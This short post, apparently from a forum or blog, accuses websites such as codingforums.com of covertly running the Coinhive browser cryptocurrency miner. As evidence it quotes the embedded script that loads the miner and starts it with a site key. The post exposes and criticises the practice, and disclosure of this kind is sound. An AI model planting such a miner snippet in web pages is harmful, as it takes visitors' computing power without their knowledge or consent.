Most websites that run Coinhive (A new in browser XMR miner) don't inform the users that they are diverting CPU power for their own purposes. Which is not cool.
Many people have heard that thepiratebay, a famous torrent site was using the technology secretly.
But it is spreading. Fast.
Just now, I discovered that codingforums.com also runs the mining software. And they make no mention of it to users!
These people need to be stopped.
Advertisements are fine. Mining with acknowledgement/consent is also fine! But websites should never take over computer resources without some sort of disclosure!
We all need to stand together, and stop this sort of immoral, (and quite possibly illegal) action by unscrupulous website owners!
Proof:
A quick inspection of the source on the main page reveals this code:
<script src="https://coin-hive.com/lib/coinhive.min.js"></script><script><!--var miner = new CoinHive.Anonymous('e8mk3MNha5cPeCyyRvy4aEj2roQ48shc');miner.start();--></script> 
The code can be quite easily found and verified.